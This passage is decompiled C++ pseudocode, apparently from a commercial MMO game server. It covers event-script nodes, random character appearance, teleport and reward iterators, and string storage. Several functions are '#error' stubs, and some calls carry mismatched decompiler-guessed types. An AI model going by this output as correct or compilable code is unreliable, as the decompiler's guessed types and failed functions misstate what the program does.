"DiceGameStart", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDiceGameStart::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652D4C: using guessed type int (__stdcall *PineEventScriptNode__ShineDiceGameStart___vftable_)(int tr); //----- (004CFDF0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRevival::sb_CloneMe(PineEventScriptNode::ShineRevival *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "revival", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRevival::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652D70: using guessed type int (__stdcall *PineEventScriptNode__ShineRevival___vftable_)(int tr); //----- (004CFE50) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSpawn::sb_CloneMe(PineEventScriptNode::ShineSpawn *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "spawn", 0, 1, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSpawn::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652D8C: using guessed type int (__stdcall *PineEventScriptNode__ShineSpawn___vftable_)(int tr); //----- (004CFEB0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineHPSet::sb_CloneMe(PineEventScriptNode::ShineHPSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "hpset", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHPSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652DA8: using guessed type int (__stdcall *PineEventScriptNode__ShineHPSet___vftable_)(int tr); //----- (004CFF10) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineEndOfMID::sb_CloneMe(PineEventScriptNode::ShineEndOfMID *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "endofmid", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineEndOfMID::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652DC4: using guessed type int (__stdcall *PineEventScriptNode__ShineEndOfMID___vftable_)(int tr); //----- (004CFF70) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInvidualMidReward::sb_CloneMe(PineEventScriptNode::ShineInvidualMidReward *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "invidualrewardmid", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInvidualMidReward::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652DE4: using guessed type int (__stdcall *PineEventScriptNode__ShineInvidualMidReward___vftable_)(int tr); //----- (004CFFD0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMIDClearCount::sb_CloneMe(PineEventScriptNode::ShineMIDClearCount *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "MIDClearCount", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMIDClearCount::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 652E0C: using guessed type int (__stdcall *PineEventScriptNode__ShineMIDClearCount___vftable_)(int tr); //----- (004D0030) -------------------------------------------------------- void __thiscall ScriptBriefMaker::sbr_RandomShape(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf) { char v2; // bl@2 unsigned int v3; // eax@7 int v4; // eax@7 unsigned int v5; // eax@10 unsigned int v6; // eax@10 unsigned int v7; // eax@10 char charrace; // [sp+Ch] [bp-8h]@2 signed int chargender; // [sp+10h] [bp-4h]@8 rndbox.rb_box[5].rs_point.value = rndbox.rb_box[5].rs_point.mask & (rndbox.rb_box[5].rs_point.value + 1); switch ( rndbox.rb_box[5].rs_slot[rndbox.rb_box[5].rs_point.value] ) { case 1u: v2 = 6; charrace = 1; break; case 2u: v2 = 11; charrace = 2; break; case 3u: v2 = 16; charrace = 3; break; case 4u: v2 = 21; charrace = 1; break; default: v2 = 1; charrace = 1; break; } v3 = rndbox.rb_box[2].rs_point.mask & (rndbox.rb_box[2].rs_point.value + 1); rndbox.rb_box[2].rs_point.value = v3; v4 = rndbox.rb_box[2].rs_slot[v3]; if ( !v4 || (chargender = 0, v4 != 1) ) chargender = 1; buf->handle = -1; *(_QWORD *)&buf->charid.n4_name[8] = 0i64; *(_QWORD *)&buf->charid.n4_name[0] = 0i64; strncpy(buf->charid.n4_name, "???", 0x10u); buf->chrclass = v2; buf->mode = 1; buf->Level = 1; buf->shapedata.notcamp.shape._bf0 = charrace & 3 | 4 * (v2 & 0x1F | (unsigned __int8)(32 * chargender)); v5 = rndbox.rb_box[3].rs_point.mask & (rndbox.rb_box[3].rs_point.value + 1); rndbox.rb_box[3].rs_point.value = v5; buf->shapedata.notcamp.shape.haircolor = LOBYTE(rndbox.rb_box[3].rs_slot[v5]); v6 = rndbox.rb_box[3].rs_point.mask & (rndbox.rb_box[3].rs_point.value + 1); rndbox.rb_box[3].rs_point.value = v6; buf->shapedata.notcamp.shape.faceshape = LOBYTE(rndbox.rb_box[3].rs_slot[v6]); v7 = rndbox.rb_box[4].rs_point.value + 1; if ( chargender ) { rndbox.rb_box[4].rs_point.value = rndbox.rb_box[4].rs_point.mask & v7; buf->shapedata.notcamp.shape.hairtype = LOBYTE(rndbox.rb_box[4].rs_slot[rndbox.rb_box[4].rs_point.mask & v7]) + 4; buf->polymorph = -1; } else { rndbox.rb_box[4].rs_point.value = rndbox.rb_box[4].rs_point.mask & v7; buf->shapedata.notcamp.shape.hairtype = LOBYTE(rndbox.rb_box[4].rs_slot[rndbox.rb_box[4].rs_point.mask & v7]); buf->polymorph = -1; } } //----- (004D01D0) -------------------------------------------------------- PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *__thiscall ScriptBriefMaker::sbr_MakeBeggar(ScriptBriefMaker *this, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *buf) { ScriptBriefMaker::sbr_RandomShape(this, buf); buf->shapedata.notcamp.equip.Equ_Head = -1; buf->shapedata.notcamp.equip.Equ_Mouth = -1; buf->shapedata.notcamp.equip.Equ_RightHand = -1; buf->shapedata.notcamp.equip.Equ_Body = -1; buf->shapedata.notcamp.equip.Equ_LeftHand = -1; buf->shapedata.notcamp.equip.Equ_Pant = -1; buf->shapedata.notcamp.equip.Equ_Boot = -1; buf->shapedata.notcamp.equip.Equ_AccBoot = -1; buf->shapedata.notcamp.equip.Equ_AccPant = -1; buf->shapedata.notcamp.equip.Equ_AccBody = -1; buf->shapedata.notcamp.equip.Equ_AccHeadA = -1; buf->shapedata.notcamp.equip.Equ_AccShoulderB = -1; buf->shapedata.notcamp.equip.Equ_Eye = -1; buf->shapedata.notcamp.equip.Equ_AccHeadC = -1; buf->shapedata.notcamp.equip.Equ_AccLeftHand = -1; buf->shapedata.notcamp.equip.Equ_AccRightHand = -1; buf->shapedata.notcamp.equip.Equ_AccBack = -1; buf->shapedata.notcamp.equip.Equ_AccWeast = -1; buf->shapedata.notcamp.equip.Equ_AccHip = -1; buf->shapedata.notcamp.equip.Equ_Minimon = -1; buf->emoticon.emoticonid = -1; buf->emoticon.emoticonframe = 0; *(_DWORD *)&buf->chartitle.Type = 0; memset(&buf->abstatebit, 0, 0x4Cu); buf->abstatebit.statebit[76] = 0; buf->myguild = 0; buf->type = 4; buf->isGuildAcademyMember = 0; return buf; } //----- (004D0270) -------------------------------------------------------- void __thiscall AxialListKQReward::AxialListKQReward(AxialListKQReward *this, unsigned int kq) { AxialListKQReward *v2; // esi@1 KingdomQuest::KQElement *v3; // eax@1 __int16 hnd; // [sp+4h] [bp-14h]@1 AxialListKQReward *v5; // [sp+8h] [bp-10h]@1 int v6; // [sp+14h] [bp-4h]@1 v2 = this; v5 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v6 = 0; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListKQReward::_vftable_; v3 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, kq, (unsigned __int16 *)&hnd); v2->alkqr_kqe = v3; if ( v3 ) v2->alkqr_DemandKill = v3->kqe_kqinfo.DemandMobKill; } // 652E30: using guessed type int (__stdcall *AxialListKQReward___vftable_[2])(int, int, int distancesquar); //----- (004D02E0) -------------------------------------------------------- void __thiscall AxialListKQReward::_AxialListKQReward(AxialListKQReward *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListKQReward::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652E30: using guessed type int (__stdcall *AxialListKQReward___vftable_[2])(int, int, int distancesquar); //----- (004D02F0) -------------------------------------------------------- #error "4D02F0: undefined or illegal type '#593' (funcsize=32)" //----- (004D0340) -------------------------------------------------------- void __thiscall AxialListMIDReward::AxialListMIDReward(AxialListMIDReward *this, Name3 sMapName) { AxialListMIDReward *v2; // esi@1 _BYTE v3[12]; // ST00_12@1 AxialListMIDReward *v4; // [sp+4h] [bp-14h]@1 unsigned int v5; // [sp+8h] [bp-10h]@1 int v6; // [sp+14h] [bp-4h]@1 v2 = this; v5 = (unsigned int)&v4 ^ __security_cookie; v4 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); *(_DWORD *)v3 = *(_DWORD *)&sMapName; *(_QWORD *)&v3[4] = *(_QWORD *)&sMapName.n3_name[4]; v6 = 0; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMIDReward::_vftable_; v2->almidr_pRewardList = MIDRewardDataBox::midrdb_GetRewardSetting(&midreward, *(Name3 *)v3); __security_check_cookie((unsigned int)&v4 ^ v5); } // 652E34: using guessed type int (__stdcall *AxialListMIDReward___vftable_)(int, int, int distancesquar); //----- (004D03D0) -------------------------------------------------------- void __thiscall AxialListMIDReward::_AxialListMIDReward(AxialListMIDReward *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMIDReward::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652E34: using guessed type int (__stdcall *AxialListMIDReward___vftable_)(int, int, int distancesquar); //----- (004D03E0) -------------------------------------------------------- #error "4D03E0: undefined or illegal type '#593' (funcsize=15)" //----- (004D0410) -------------------------------------------------------- void __thiscall AxialListKQEnd::_AxialListKQEnd(AxialListKQEnd *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652E38: using guessed type int (__thiscall *AxialListKQEnd___vftable_)(AxialListProtocolSend *this, #593 *, #593 *, int distancesquar); //----- (004D0420) -------------------------------------------------------- void __thiscall AxialListLinkTo::AxialListLinkTo(AxialListLinkTo *this, NPCManager::LinkInformTemplete *lnkinf) { AxialListLinkTo *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->allt_lnkinf = lnkinf; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListLinkTo::_vftable_; } // 652E3C: using guessed type int (__stdcall *AxialListLinkTo___vftable_[2])(int, int, int distancesquar); //----- (004D0440) -------------------------------------------------------- void __thiscall AxialListLinkTo::_AxialListLinkTo(AxialListLinkTo *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListLinkTo::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652E3C: using guessed type int (__stdcall *AxialListLinkTo___vftable_[2])(int, int, int distancesquar); //----- (004D0450) -------------------------------------------------------- #error "4D0450: undefined or illegal type '#593' (funcsize=22)" //----- (004D0490) -------------------------------------------------------- void __thiscall AxialListLinkToByObserver::AxialListLinkToByObserver(AxialListLinkToByObserver *this, NPCManager::LinkInformTemplete *lnkinf) { AxialListLinkToByObserver *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->allt_lnkinf = lnkinf; v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListLinkToByObserver::_vftable_; } // 652E40: using guessed type int (__stdcall *AxialListLinkToByObserver___vftable_)(int, int, int distancesquar); //----- (004D04B0) -------------------------------------------------------- void __thiscall AxialListLinkToByObserver::_AxialListLinkToByObserver(AxialListLinkToByObserver *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListLinkToByObserver::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652E40: using guessed type int (__stdcall *AxialListLinkToByObserver___vftable_)(int, int, int distancesquar); //----- (004D04C0) -------------------------------------------------------- #error "4D04C0: undefined or illegal type '#593' (funcsize=37)" //----- (004D0530) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShinePrintf::sa_Step(PineEventScriptNode::ShinePrintf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShinePrintf *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@1 int v6; // eax@1 char *v7; // eax@3 char *v8; // ST04_4@3 DebugLogging *v9; // eax@3 DebugLogging *v10; // eax@3 unsigned __int16 result; // ax@4 int v12; // [sp+8h] [bp-114h]@1 PineScriptToken token; // [sp+Ch] [bp-110h]@1 unsigned int v14; // [sp+10Ch] [bp-10h]@1 int v15; // [sp+118h] [bp-4h]@1 v4 = this; v14 = (unsigned int)&v12 ^ __security_cookie; PineScriptToken::pst_Clear(&token); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; v15 = 0; v6 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&token, ps); v12 = v6 != 0; if ( v6 != 0 ) { MoveManager::MoveManager((DiceTaiSai *)&token); v8 = v7; v9 = DebugLogging::operator<<(&DeadHandleLog, "@@@printf : "); v10 = DebugLogging::operator<<(v9, v8); DebugLogging::operator<<(v10, &deb_LF); MoveManager::MoveManager((DiceTaiSai *)&token); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShinePrintf::sa_Step: wrong argument", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); v15 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); __security_check_cookie((unsigned int)&v12 ^ v14); return result; } //----- (004D0630) -------------------------------------------------------- void __thiscall AxialListMobVanish::_AxialListMobVanish(AxialListMobVanish *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobVanish::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652E90: using guessed type int (__stdcall *AxialListMobVanish___vftable_)(int, #593 *obj, int distancesquar); //----- (004D0640) -------------------------------------------------------- void __thiscall AxialListItemErase4All::_AxialListItemErase4All(AxialListItemErase4All *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListItemErase4All::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652E94: using guessed type int (__stdcall *AxialListItemErase4All___vftable_)(int, int, int distancesquar); //----- (004D0650) -------------------------------------------------------- void __thiscall AxialListMobStateSet::AxialListMobStateSet(AxialListMobStateSet *this, unsigned __int16 mobid, ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime) { AxialListMobStateSet *v6; // esi@1 v6 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v6->almss_MobID = mobid; v6->almss_StateIndex = abstateidx; v6->almss_Dictionary = dic; v6->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; v6->almss_Strength = strength; v6->almss_KeepTime = keeptime; } // 652E98: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #593 *obj, int distancesquar); //----- (004D0690) -------------------------------------------------------- void __thiscall AxialListMobStateSet::_AxialListMobStateSet(AxialListMobStateSet *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652E98: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #593 *obj, int distancesquar); //----- (004D06A0) -------------------------------------------------------- #error "4D06A0: undefined or illegal type '#593' (funcsize=70)" //----- (004D0750) -------------------------------------------------------- void __thiscall AxialListPlayerStateSet::_AxialListPlayerStateSet(AxialListPlayerStateSet *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652E9C: using guessed type int (__thiscall *AxialListPlayerStateSet___vftable_)(AxialListPlayerStateSet *this, int, #593 *obj, int distancesquar); //----- (004D0760) -------------------------------------------------------- void __thiscall AxialListPlayerStateSet::AxialListPlayerStateSet(AxialListPlayerStateSet *this, ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime) { AxialListPlayerStateSet *v5; // esi@1 v5 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v5->alpss_StateIndex = abstateidx; v5->alpss_KeepTime = keeptime; v5->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; v5->alpss_Strength = strength; v5->alpss_Dictionary = dic; } // 652E9C: using guessed type int (__thiscall *AxialListPlayerStateSet___vftable_)(AxialListPlayerStateSet *this, int, #593 *obj, int distancesquar); //----- (004D0790) -------------------------------------------------------- #error "4D0790: undefined or illegal type '#593' (funcsize=80)" //----- (004D0860) -------------------------------------------------------- void __thiscall AxialListTeleport::_AxialListTeleport(AxialListTeleport *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleport::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652EA0: using guessed type int (__stdcall *AxialListTeleport___vftable_[6])(int, int, int distancesquar); //----- (004D0870) -------------------------------------------------------- #error "4D0870: undefined or illegal type '#593' (funcsize=26)" //----- (004D08C0) -------------------------------------------------------- void __thiscall AxialListTeleportAnywhere::_AxialListTeleportAnywhere(AxialListTeleportAnywhere *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportAnywhere::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652EA4: using guessed type int (__stdcall *AxialListTeleportAnywhere___vftable_[5])(int, int, int distancesquar); //----- (004D08D0) -------------------------------------------------------- #error "4D08D0: undefined or illegal type '#593' (funcsize=21)" //----- (004D0910) -------------------------------------------------------- void __thiscall AxialListCount2::AxialListCount2(AxialListCount2 *this) { AxialListCount2 *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListCount2::_vftable_; v1->alc_Cnt = 0; } // 652EA8: using guessed type int (__stdcall *AxialListCount2___vftable_[4])(int, int, int distancesquar); //----- (004D0930) -------------------------------------------------------- void __thiscall AxialListCount2::_AxialListCount2(AxialListCount2 *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListCount2::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652EA8: using guessed type int (__stdcall *AxialListCount2___vftable_[4])(int, int, int distancesquar); //----- (004D0940) -------------------------------------------------------- #error "4D0940: undefined or illegal type '#593' (funcsize=11)" //----- (004D0960) -------------------------------------------------------- void __thiscall AxialListTeleportSplit::AxialListTeleportSplit(AxialListTeleportSplit *this, int NumOfPlayer, SHINE_XY_TYPE *Position, SHINE_XY_TYPE *Position2) { AxialListTeleportSplit *v4; // esi@1 v4 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v4->_Half = NumOfPlayer / 2; v4->allt_position = Position; v4->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportSplit::_vftable_; v4->_Current = 0; v4->allt_position2 = Position2; } // 652EAC: using guessed type int (__stdcall *AxialListTeleportSplit___vftable_[3])(int, int, int distancesquar); //----- (004D09A0) -------------------------------------------------------- void __thiscall AxialListTeleportSplit::_AxialListTeleportSplit(AxialListTeleportSplit *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListTeleportSplit::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652EAC: using guessed type int (__stdcall *AxialListTeleportSplit___vftable_[3])(int, int, int distancesquar); //----- (004D09B0) -------------------------------------------------------- #error "4D09B0: undefined or illegal type '#593' (funcsize=33)" //----- (004D0A10) -------------------------------------------------------- void __thiscall AxialListFindItemOwner::AxialListFindItemOwner(AxialListFindItemOwner *this, unsigned __int16 itmid, PineScriptToken *delimiter, PineScriptToken *result) { AxialListFindItemOwner *v4; // esi@1 v4 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v4->alfio_ItemID = itmid; v4->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListFindItemOwner::_vftable_; v4->alfio_Delimiter = delimiter; v4->alfio_Result = result; v4->alfio_Number = 0; } // 652EB0: using guessed type int (__stdcall *AxialListFindItemOwner___vftable_[2])(int, int, int distancesquar); //----- (004D0A50) -------------------------------------------------------- void __thiscall AxialListFindItemOwner::_AxialListFindItemOwner(AxialListFindItemOwner *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListFindItemOwner::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652EB0: using guessed type int (__stdcall *AxialListFindItemOwner___vftable_[2])(int, int, int distancesquar); //----- (004D0A60) -------------------------------------------------------- #error "4D0A60: undefined or illegal type '#593' (funcsize=71)" //----- (004D0B40) -------------------------------------------------------- void __thiscall AxialListObjectCollector::_AxialListObjectCollector(AxialListObjectCollector *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectCollector::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652EB4: using guessed type int (__stdcall *AxialListObjectCollector___vftable_)(int, int, int distancesquar); //----- (004D0B50) -------------------------------------------------------- void __thiscall AxialListGTEnd::_AxialListGTEnd(AxialListGTEnd *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 652EB8: using guessed type int (__thiscall *AxialListGTEnd___vftable_)(AxialListProtocolSend *this, #593 *, #593 *, int distancesquar); //----- (004D0B60) -------------------------------------------------------- #error "4D0B60: undefined or illegal type '#593' (funcsize=23)" //----- (004D0BA0) -------------------------------------------------------- void __thiscall MapBlock::MapDoorBlockElement::MapDoorBlockElement(MapBlock::MapDoorBlockElement *this) { *(_QWORD *)&this->mdbe_BlockName.n8_name[24] = 0i64; *(_QWORD *)&this->mdbe_BlockName.n8_name[16] = 0i64; *(_QWORD *)&this->mdbe_BlockName.n8_name[8] = 0i64; *(_QWORD *)&this->mdbe_BlockName.n8_name[0] = 0i64; } //----- (004D0BC0) -------------------------------------------------------- void __thiscall PineScriptTemporaryString::_PineScriptTemporaryString(PineScriptTemporaryString *this) { _eh_vector_destructor_iterator_( this, 0x120u, 64, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004D0BE0) -------------------------------------------------------- PineScriptTemporaryString::StringStorage *__thiscall PineScriptTemporaryString::psts_Get(PineScriptTemporaryString *this) { int v1; // eax@1 v1 = this->psts_Pointer + 1; this->psts_Pointer = v1; if ( (unsigned int)v1 >= 0x40 ) this->psts_Pointer = 0; return &this->psts_Storage[this->psts_Pointer]; } //----- (004D0C10) -------------------------------------------------------- PineScriptTemporaryString::StringStorage *__thiscall PineScriptTemporaryString::psts_Get(PineScriptTemporaryString *this, const char *idx) { unsigned int v2; // esi@1 PineScriptTemporaryString *v3; // edi@1 int v4; // eax@1 char index[4]; // [sp+10h] [bp-24h]@1 int v7; // [sp+14h] [bp-20h]@1 int v8; // [sp+18h] [bp-1Ch]@1 int v9; // [sp+1Ch] [bp-18h]@1 int v10; // [sp+20h] [bp-14h]@1 int v11; // [sp+24h] [bp-10h]@1 int v12; // [sp+28h] [bp-Ch]@1 int v13; // [sp+2Ch] [bp-8h]@1 unsigned int v14; // [sp+30h] [bp-4h]@1 v14 = (unsigned int)index ^ __security_cookie; v2 = 0; v3 = this; v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)index = 0; strncpy(index, idx, 0x20u); v4 = (int)&v3->psts_Storage[0].ss_Index.n8_name[8]; while ( *(_DWORD *)index != *(_DWORD *)(v4 - 8) || v7 != *(_DWORD *)(v4 - 4) || v8 != *(_DWORD *)v4 || v9 != *(_DWORD *)(v4 + 4) || v10 != *(_DWORD *)(v4 + 8) || v11 != *(_DWORD *)(v4 + 12) || v12 != *(_DWORD *)(v4 + 16) || v13 != *(_DWORD *)(v4 + 20) ) { ++v2; v4 += 288; if ( v2 >= 0x40 ) return 0; } return &v3->psts_Storage[v2]; } //----- (004D0CF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::RegisterGTPortal::_RegisterGTPortal(PineEventScriptNode::RegisterGTPortal *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652EBC: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__RegisterGTPortal____vftable_)(int tr); //----- (004D0D00) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::SaveLinkto *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652ED4: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__SaveLinkto____vftable_)(int tr); //----- (004D0D10) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::ClearSaveLinkto *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652EEC: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__ClearSaveLinkto____vftable_)(int tr); //----- (004D0D20) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::ID_Fail *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 652F04: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__ID_Fail____vftable_)(int tr); //----- (004D0D30) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::SendMapInMobInfo *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; 